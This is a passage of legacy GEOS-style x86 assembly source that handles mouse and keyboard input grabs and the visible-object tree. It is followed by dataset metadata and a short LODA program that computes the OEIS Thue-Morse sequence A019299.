The implementation for this routine varies depending on
whether or not the UI thread is currently running. If it
is, then FlowGrabMouse is called. If it is not, then
the MSG_VIS_VUP_ALTER_INPUT_FLOW is sent to the object,
which will find its way up to the VisContent object which
the current object is under.
NOTE: If called on object which implements mouse grabs,
results in object releasing grab from node above the
object (i.e can not be used to release mouse from self)
PASS: *ds:si -- object to release the grab for
RETURN: nothing
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 3/89 Initial version
------------------------------------------------------------------------------@
VisReleaseMouse method VisClass, MSG_VIS_RELEASE_MOUSE
push ax
push bx, cx, dx, bp
clr ax ;no bounds limit, OK?
mov bx, ax
mov cx, ax
mov dx, ax
call SendMouseInteractionBounds ;limit view drag-scrolling
pop bx, cx, dx, bp
mov al, mask VIFGF_MOUSE or mask VIFGF_NOT_HERE
mov ah, VIFGT_ACTIVE
FALL_THRU VisAlterInputFlowCommon, ax
VisReleaseMouse endm
COMMENT @----------------------------------------------------------------------
ROUTINE: VisAlterInputFlowCommon
DESCRIPTION: Implements mouse & kbd grabs for visible objects.
This routine is jumped to by various other routines in
this file (Regs are pushed on stack which this routine pops
off)
The implementation for this routine varies depending on
whether or not the UI thread is currently running. If it
is, then FlowGrabMouse is called. If it is not, then
the MSG_VIS_VUP_ALTER_INPUT_FLOW is sent to the object,
which will find its way up to the VisContent object which
the current object is under.
PASS: *ds:si -- object to grab for
al - VisInputFlowGrabFlags
ah - VisInputFlowGrabType
On stack, pushed in this order:
value to return in ax
RETURN: *ds:si - intact
ax - as specified in stack arguments
DESTROYED: Nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 11/89 Initial version
------------------------------------------------------------------------------@
VisAlterInputFlowCommon proc far
class VisClass
push cx, dx, bp
sub sp, size VupAlterInputFlowData ; create stack frame
mov bp, sp ; ss:bp points to it
mov cx, ds:[LMBH_handle]
mov ss:[bp].VAIFD_object.handle, cx ; copy object OD into frame
mov ss:[bp].VAIFD_object.chunk, si
mov ss:[bp].VAIFD_flags, al ; copy flags into frame
mov ss:[bp].VAIFD_grabType, ah
mov ss:[bp].VAIFD_gWin, 0 ; assume not needed
test al, mask VIFGF_GRAB ; Check for mouse grab
jz notMouseGrab
test al, mask VIFGF_MOUSE
jz notMouseGrab
push di
call VisQueryWindow ; Fetch window handle in di
mov ss:[bp].VAIFD_gWin, di ; & pass in message
pop di
notMouseGrab:
clr dx ; init to no translation
mov ss:[bp].VAIFD_translation.PD_x.high, dx
mov ss:[bp].VAIFD_translation.PD_x.low, dx
mov ss:[bp].VAIFD_translation.PD_y.high, dx
mov ss:[bp].VAIFD_translation.PD_y.low, dx
mov dx, size VupAlterInputFlowData ; pass size of structure in dx
test al, mask VIFGF_GRAB ; Grab?
jz directCall ; if not, we can safely make
; a direct call to the first
; Input Node up tree
test al, mask VIFGF_MOUSE ; Mouse?
jz directCall ; if not, we can safely make
; a direct call to the first
; Input Node up tree
callHere:
mov ax, MSG_VIS_VUP_ALTER_INPUT_FLOW ; send message
call ObjCallInstanceNoLock
afterCall:
add sp, size VupAlterInputFlowData ; restore stack
pop cx, dx, bp
FALL_THRU_POP ax
ret
directCall:
; If it turns out this object itself is an input node (a rare case,
; by the way, which happens thus far only in the GrObj world), then
; just use call the MSG_VIS_VUP_ALTER_INPUT_FLOW on ourselves, with
; on optimization even if VIFGF_NOT_HERE set.
; This allows input nodes to deal with the case of VIFGF_NOT_HERE
; specially, if they need to (GrObj uses this on text & other
; objects in order to control the GrObj mouse grab mechanism)
;
push di
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].VI_typeFlags, mask VTF_IS_INPUT_NODE
pop di
jnz callHere
; clear "NOT_HERE" flag, since
; we'll be calling on parent
and ss:[bp].VAIFD_flags, not mask VIFGF_NOT_HERE
push bx, si, di
mov al, mask VTF_IS_INPUT_NODE
call VisFindParentOfVisType
mov ax, MSG_VIS_VUP_ALTER_INPUT_FLOW
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ; call Input Node directly
pop bx, si, di
jmp short afterCall
VisAlterInputFlowCommon endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisFindParentOfVisType
DESCRIPTION: Searches up visible tree, starting at parent, for first object
having specified VisTypeFlags set, & returns it.
CALLED BY: INTERNAL
PASS: *ds:si - visible object
al - VisTypeFlags to look for (any of which found set will
satisfy the search, if mulitiple flags specified)
RETURN: ^lbx:si - object (or NULL, if not found)
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 2/93 Rewritten from VisFindInputNode
------------------------------------------------------------------------------@
VisFindParentOfVisType proc far
class VisClass
call VisSwapLockParent
jnc noParent
push cx
push bx
push di
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].VI_typeFlags, al
pop di
jz goUp
mov bx, ds:[LMBH_handle] ; Found it!
foundIt:
mov_tr cx, bx
pop bx
call ObjSwapUnlock
mov_tr bx, cx
pop cx
ret
noParent:
clr bx ; Object not found.
clr si
ret
goUp:
call VisFindParentOfVisType
jmp short foundIt
VisFindParentOfVisType endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisTakeGadgetExclAndGrab
DESCRIPTION: Take the gadget exclsuive for the current obejct and grab the
mouse. This is often called by objects upon receipt of
a mouse message such as MSG_META_START_SELECT.
NOTE: If called on object which implements mouse grabs,
results in object getting grab from node above the
object (i.e can not be used to grab mouse from self)
CALLED BY: GLOBAL
PASS:
*ds:si - object to grab for
RETURN:
ds - updated to point at segment of same block as on entry
DESTROYED:
none
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 9/89 Initial version
------------------------------------------------------------------------------@
VisTakeGadgetExclAndGrab proc far
push ax, cx, dx, bp
mov cx,ds:[LMBH_handle] ;^lcx:dx = object to grab for
mov dx,si
mov ax,MSG_VIS_TAKE_GADGET_EXCL
call VisCallParent
pop ax, cx, dx, bp
GOTO VisGrabMouse
VisTakeGadgetExclAndGrab endp
COMMENT @----------------------------------------------------------------------
ROUTINE: VisForceGrabMouse
DESCRIPTION: Commonly used routine to grab the mouse for the current
object. Grabs the mouse from whoever has it.
VisReleaseMouse should be called to release the mouse grab
The implementation for this routine varies depending on
whether or not the UI thread is currently running. If it
is, then FlowGrabMouse is called. If it is not, then
the MSG_VIS_VUP_ALTER_INPUT_FLOW is sent to the object,
which will find its way up to the VisContent object which
the current object is under.
NOTE: If called on object which implements mouse grabs,
results in object getting grab from node above the
object (i.e can not be used to grab mouse from self)
PASS: *ds:si -- object to grab for
RETURN: nothing
DESTROYED: Nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
steve 1/90 Initial version
------------------------------------------------------------------------------@
VisForceGrabMouse method VisClass, MSG_VIS_FORCE_GRAB_MOUSE
push ax
mov al, mask VIFGF_MOUSE or mask VIFGF_GRAB or mask VIFGF_FORCE or \
mask VIFGF_PTR or mask VIFGF_NOT_HERE
mov ah, VIFGT_ACTIVE
GOTO VisAlterInputFlowCommon, ax
VisForceGrabMouse endm
COMMENT @----------------------------------------------------------------------
ROUTINE: VisGrabMouse
DESCRIPTION: Commonly used routine to grab the mouse for the current
object. Grabs the mouse if no one has the grab.
VisReleaseMouse should be called to release the mouse grab.
The implementation for this routine varies depending on
whether or not the UI thread is currently running. If it
is, then FlowGrabMouse is called. If it is not, then
the MSG_VIS_VUP_ALTER_INPUT_FLOW is sent to the object,
which will find its way up to the VisContent object which
the current object is under.
NOTE: If called on object which implements mouse grabs,
results in object getting grab from node above the
object (i.e can not be used to grab mouse from self)
PASS: *ds:si -- object to grab for
RETURN: nothing
DESTROYED: Nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 3/89 Initial version
------------------------------------------------------------------------------@
VisGrabMouse method VisClass, MSG_VIS_GRAB_MOUSE
push ax
push bx, cx, dx, bp
call VisGetBounds
call SendMouseInteractionBounds ;limit view drag-scrolling
pop bx, cx, dx, bp
mov al, mask VIFGF_MOUSE or mask VIFGF_GRAB or mask VIFGF_PTR or \
mask VIFGF_NOT_HERE
mov ah, VIFGT_ACTIVE
GOTO VisAlterInputFlowCommon, ax
VisGrabMouse endm
COMMENT @----------------------------------------------------------------------
ROUTINE: VisForceGrabLargeMouse
DESCRIPTION: Same as VisForceGrabMouse, but requests LARGE mouse events
be sent to grab. VisReleaseMouse may be used to release the
grab.
NOTE: If called on object which implements mouse grabs,
results in object getting grab from node above the
object (i.e can not be used to grab mouse from self)
PASS: *ds:si -- object to grab for
RETURN: nothing
DESTROYED: Nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
doug 4/91 Initial version
------------------------------------------------------------------------------@
VisForceGrabLargeMouse method VisClass, MSG_VIS_FORCE_GRAB_LARGE_MOUSE
push ax
mov al, mask VIFGF_MOUSE or mask VIFGF_GRAB or mask VIFGF_FORCE or \
mask VIFGF_LARGE or mask VIFGF_PTR or mask VIFGF_NOT_HERE
mov ah, VIFGT_ACTIVE
GOTO VisAlterInputFlowCommon, ax
VisForceGrabLargeMouse endm
COMMENT @----------------------------------------------------------------------
ROUTINE: VisGrabLargeMouse
DESCRIPTION: Same as VisGrabLargeMouse, but requests LARGE mouse events
be sent to grab. VisReleaseMouse may be used to release the
grab.
NOTE: If called on object which implements mouse grabs,
results in object getting grab from node above the
object (i.e can not be used to grab mouse from self)
PASS: *ds:si -- object to grab for
RETURN: nothing
DESTROYED: Nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
doug 4/91 Initial version
------------------------------------------------------------------------------@
VisGrabLargeMouse method VisClass, MSG_VIS_GRAB_LARGE_MOUSE
push ax
mov al, mask VIFGF_MOUSE or mask VIFGF_GRAB or mask VIFGF_LARGE or \
mask VIFGF_PTR or mask VIFGF_NOT_HERE
mov ah, VIFGT_ACTIVE
GOTO VisAlterInputFlowCommon, ax
VisGrabLargeMouse endm
COMMENT @----------------------------------------------------------------------
ROUTINE: SendMouseInteractionBounds
SYNOPSIS: Send new mouse for mouse interaction.
CALLED BY: VisGrabMouse, VisReleaseMouse
PASS: *ds:si -- object
ax, bx, cx, dx -- bounds, or zeroed if don't want to limit
view scrolling to any bounds.
RETURN: nothing
DESTROYED: ax, cx, dx, bp
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 5/ 3/91 Initial version
------------------------------------------------------------------------------@
SendMouseInteractionBounds proc near
;
; Send up our bounds in case we need to notify some parent view.
;
sub sp, size Rectangle
mov bp, sp
mov ss:[bp].R_left, ax
mov ss:[bp].R_top, bx
mov ss:[bp].R_right, cx
mov ss:[bp].R_bottom, dx
mov dx, size Rectangle ;pass this, even though we won't
; ObjMessage
; mov ax, MSG_VIS_VUP_SET_MOUSE_INTERACTION_BOUNDS
; call ObjCallInstanceNoLock ;send to ourselves, so it can be
; subclassed if necessary.
add sp, size Rectangle
ret
SendMouseInteractionBounds endp
COMMENT @----------------------------------------------------------------------
ROUTINE: VisGrabKbd
DESCRIPTION: Implements keyboard grab. Grabs keyboard input if no one has
the grab.
PASS: *ds:si -- object to grab for
RETURN: nothing
DESTROYED: Nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 3/89 Initial version
------------------------------------------------------------------------------@
VisGrabKbd method VisClass, MSG_META_GRAB_KBD
push ax
mov al, mask VIFGF_KBD or mask VIFGF_GRAB or mask VIFGF_NOT_HERE
mov ah, VIFGT_ACTIVE
GOTO VisAlterInputFlowCommon, ax
VisGrabKbd endm
COMMENT @----------------------------------------------------------------------
ROUTINE: VisForceGrabKbd
DESCRIPTION: Implements keyboard grab. Grabs keyboard input, forcing the
the previous owner to release.
PASS: *ds:si -- object to grab for
RETURN: nothing
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 3/89 Initial version
------------------------------------------------------------------------------@
VisForceGrabKbd method VisClass, MSG_META_FORCE_GRAB_KBD
push ax
mov al, mask VIFGF_KBD or mask VIFGF_GRAB or mask VIFGF_FORCE or \
mask VIFGF_NOT_HERE
mov ah, VIFGT_ACTIVE
GOTO VisAlterInputFlowCommon, ax
VisForceGrabKbd endm
COMMENT @----------------------------------------------------------------------
ROUTINE: VisReleaseKbd
DESCRIPTION: Releases keyboard grab.
PASS: *ds:si -- object to release the grab for
RETURN: nothing
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 3/89 Initial version
------------------------------------------------------------------------------@
VisReleaseKbd method VisClass, MSG_META_RELEASE_KBD
push ax
mov al, mask VIFGF_KBD or mask VIFGF_NOT_HERE
mov ah, VIFGT_ACTIVE
GOTO VisAlterInputFlowCommon, ax
VisReleaseKbd endm
COMMENT @----------------------------------------------------------------------
FUNCTION: VisCheckOptFlags
DESCRIPTION: EC routine to see if update path is set in a valid state
CALLED BY: GLOBAL
PASS:
*ds:si - visible object to test
RETURN:
none
DESTROYED:
none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 10/1/89 Initial version
------------------------------------------------------------------------------@
VisCheckOptFlags proc far
if ERROR_CHECK
push ax, bx, cx
call SysGetECLevel
test ax, mask ECF_NORMAL ; As this check is pretty method-
; intensive, skip out if less than
; normal level of EC level requested.
jz done
clr cl ; no req'ments yet.
call VisEnsureUpdatePath
done:
pop ax, bx, cx
endif
ret ; Leave ret here in non-EC case,
; so we can export routine
VisCheckOptFlags endp
if ERROR_CHECK
COMMENT @----------------------------------------------------------------------
FUNCTION: VisEnsureUpdatePath
DESCRIPTION: EC routine to see if update path is set in a valid state
CALLED BY: GLOBAL
PASS:
*ds:si - visible object to test
cl - UPDATE bits that must be set in this object up through
WIN_GROUP
RETURN:
none
DESTROYED:
none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 10/1/89 Initial version
------------------------------------------------------------------------------@
VisEnsureUpdatePath proc far
class VisCompClass
pushf
push ax, bx, cx, dx, si, di, bp
; Only do this if EC level is normal
; or above
call SysGetECLevel
test ax, mask ECF_NORMAL
LONG jz exit
call ECCheckVisFlags ; make sure basic vis stuff OK
call VisCheckIfSpecBuilt ; If not vis built, skip
LONG jnc exit
mov di, 1000 ; this is EC only code, so who cares...
call ThreadBorrowStackSpace
push di
push cx
push si
mov ax, MSG_VIS_GET_OPT_FLAGS
mov bx, segment VisClass
mov si, offset VisClass
mov di, mask MF_RECORD
call ObjMessage
mov cx, di
pop si
mov ax, MSG_VIS_VUP_CALL_WIN_GROUP
call ObjCallInstanceNoLock
test cl, mask VOF_UPDATING ; are we current in an update?
pop cx
LONG jnz done ; yes, skip the check
mov di, ds:[si]
add di, ds:[di].Vis_offset
; See if composite & doesn't
; manage children
test ds:[di].VI_typeFlags, mask VTF_IS_COMPOSITE
jz VEUP_10 ; skip if not
test ds:[di].VCI_geoAttrs, mask VCGA_CUSTOM_MANAGE_CHILDREN
jz VEUP_10
; IF not managing, don't
; require geometry update path
and cl, not mask VOF_GEO_UPDATE_PATH
VEUP_10:
; FIRST, make sure req'd path bits are set
mov al, ds:[di].VI_optFlags ; get optFlags
and al, cl ; mask w/bits that must be set
cmp al, cl
jz VEUP_20
xor al, cl ; figure out which are bad
test al, mask VOF_GEO_UPDATE_PATH
ERROR_NZ UI_BAD_GEO_UPDATE_PATH
test al, mask VOF_WINDOW_UPDATE_PATH
ERROR_NZ UI_BAD_WINDOW_UPDATE_PATH
test al, mask VOF_IMAGE_UPDATE_PATH
ERROR_NZ UI_BAD_IMAGE_UPDATE_PATH
VEUP_20:
; THEN, if we're at win group, we're done.
test ds:[di].VI_typeFlags, mask VTF_IS_WIN_GROUP
jnz done
; GET NEW PATH BITS THAT WE'LL REQUIRE
mov al, ds:[di].VI_optFlags ; get optFlags
test ds:[di].VI_attrs, mask VA_MANAGED
jnz VEUP_25 ; managed by parent, branch
; Else don't require update path
and al, not (mask VOF_GEOMETRY_INVALID or \
mask VOF_GEO_UPDATE_PATH)
VEUP_25:
; Else calc path bits needed
mov ah, al ; copy to ch
and ah, VOF_INVALID_BITS ; take invalid bits
shr ah, 1 ; turn into path bits
or al, ah ; and "or" back in
and al, VOF_PATH_BITS ; keep only resulting path bits
; If not composite or portal,
; ignore window invalid bits.
test ds:[di].VI_typeFlags, mask VTF_IS_COMPOSITE or mask VTF_IS_PORTAL
jnz VEUP_30
and al, not mask VOF_WINDOW_UPDATE_PATH
VEUP_30:
or cl, al ; OR in new req'd flags
call VisSwapLockParent
jnc VEUP_afterParent
call VisEnsureUpdatePath ; recurse up to win group
VEUP_afterParent:
call ObjSwapUnlock
done:
pop di
call ThreadReturnStackSpace
exit:
pop ax, bx, cx, dx, si, di, bp
popf
ret
VisEnsureUpdatePath endp
endif
COMMENT @----------------------------------------------------------------------
FUNCTION: VisIfFlagSetCallVisChildren
DESCRIPTION: This routine is for calling VISIBLE children in a visible
tree. The object & children may or may not have generic
parts; this routine DOES NOT rely on that portion of the
instance data. All children of the object are called, if
any of the specified flags in VI_optFlags are set, although
no messages are sent across to WIN_GROUP children.
CALLED BY: GLOBAL
PASS:
ax - message to pass
*ds:si - instance (vis part indirect through offset Vis_offset)
dl - flags to compare with children's VI_optFlags
if 0, no compare will be made.
if -1, no compare will be made, and will abort
after a child returns the carry flag set
(will return CX, DX, BP from the child
in this case).
cx - data to pass on to child. Data will be passed in both cx & dx.
bp - flags to pass on to any children called
RETURN:
if was checking for children that return carry set,
carry clear if no child returned carry set
carry set if child returned carry set,
cx, dx, bp = data returned from that child.
ds - updated to point at segment of same block as on entry
DESTROYED:
ax, bx, cx, dx, bp, di
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 3/89 Initial version
------------------------------------------------------------------------------@
VisIfFlagSetCallVisChildren proc far
class VisCompClass
EC< call VisCheckVisAssumption ; Make sure vis data exists >
mov di, ds:[si] ;make sure composite
add di, ds:[di].Vis_offset ;ds:di = VisInstance
test ds:[di].VI_typeFlags, mask VTF_IS_COMPOSITE
jz done ;if not, exit
mov di, offset CVCWFS_callBack
call VisCallCommonWithRoutine
done:
ret
VisIfFlagSetCallVisChildren endp
COMMENT @----------------------------------------------------------------------
FUNCTION: CVCWFS_callBack
DESCRIPTION: If current object is a composite, call all non-WIN_GROUP
children which have any of the specified flags in
VI_optFlags set.
CALLED BY: VisIfFlagSetCallVisChildren
PASS:
*ds:si - child
*es:di - composite
dl - flags to compare with children's VI_optFlags
if 0, no compare will be made, message will be sent
if -1, no compare will be made, and will abort
after a child returns the carry flag set
(will return CX, DX, BP from the child
in this case).
cx - data to pass on to child, will be passed in both cx and dx.
bp - data to pass on to child
ax - message
RETURN:
carry clear: means call next child.
cx, dx, bp - data to send to next child
carry set: means end processing children immediately
cx, dx, bp - data returned from child
DESTROYED:
ax, bx
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 3/89 Initial version
Eric 2/90 Added carry testing
------------------------------------------------------------------------------@
CVCWFS_callBack proc far
class VisClass ; Indicate function is a friend
; of VisClass so it can play with
; instance data.
push ax
EC< call VisCheckVisAssumption ; Make sure vis data exists >
; MAKE SURE THERE IS A VISIBLE PART
mov bx, ds:[si] ; get ptr to child instance data
cmp ds:[bx].Vis_offset, 0 ; Has visible part been grown yet?
jne testFlags ; branch if so
; Else grow it.
mov bx, Vis_offset
push es:[LMBH_handle] ; save handle of comp block
call ObjInitializePart ; Make sure part has been grown
pop bx ; get handle of comp block
call MemDerefES ; restore segment of comp block to ES
mov bx, ds:[si] ; Get pointer to instance
testFlags:
add bx, ds:[bx].Vis_offset ; ds:bx = VisInstance
; Don't send to any WIN_GROUP's.
;
test ds:[bx].VI_typeFlags, mask VTF_IS_WIN_GROUP
;*** IMPORTANT: CY=0 ***
jnz returnCY ;if WIN_GROUP, skip calling w/message
tst dl ;perform tests?
jz callChild ;skip if not...
cmp dl, -1 ;abort after child returns carry?
je callChild ;skip if so...
test ds:[bx].VI_optFlags, dl ;are the required flags set?
;*** IMPORTANT: CY=0 ***
jz returnCY ;skip if not...
callChild:
push cx, bp, dx ;save DX last!
; Use ES version since *es:di is
; composite object
mov dx, cx ; pass cx value in both cx and dx
call ObjCallInstanceNoLock ;send it
jnc popRegsAndReturnCY ;if no carry returned, skip ahead
;to pop regs and continue (FAST!)...
;*** IMPORTANT: CY=0 ***
pop bx ;get saved DX value (don't trash
push bx ;returned DX until sure we can)
cmp bl, -1 ;should we be checking for carry?
clc
jne popRegsAndReturnCY ;skip if not (pass CY=0)...
;caller returned CY set and we were checking for that. Return
;CX, DX, and BP from the routine.
add sp, 6 ;remove 3 words from stack
stc ;return flag: continue with next
jmp short returnCY ;could save time here, but code
;conventions prevail...
popRegsAndReturnCY:
pop cx, bp, dx ;restore registers for next call
returnCY:
pop ax
ret
CVCWFS_callBack endp
Resident ends
| 26.464859 | 88 | 0.638771 |
92a05d9f1ad5274ff972f70dd887fc701b41113b | 451 | asm | Assembly | oeis/019/A019299.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/019/A019299.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/019/A019299.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A019299: First n elements of Thue-Morse sequence A010059 read as a binary number.
; Submitted by Jon Maiga
; 1,2,4,9,18,37,75,150,300,601,1203,2406,4813,9626,19252,38505,77010,154021,308043,616086,1232173,2464346,4928692,9857385,19714771,39429542,78859084,157718169,315436338,630872677,1261745355,2523490710,5046981420
mov $1,1
mov $3,1
lpb $0
sub $0,1
add $2,$1
add $1,$3
add $1,$2
mul $1,2
div $2,$3
mul $3,2
lpe
mov $0,$2
add $0,1
| 25.055556 | 211 | 0.718404 |
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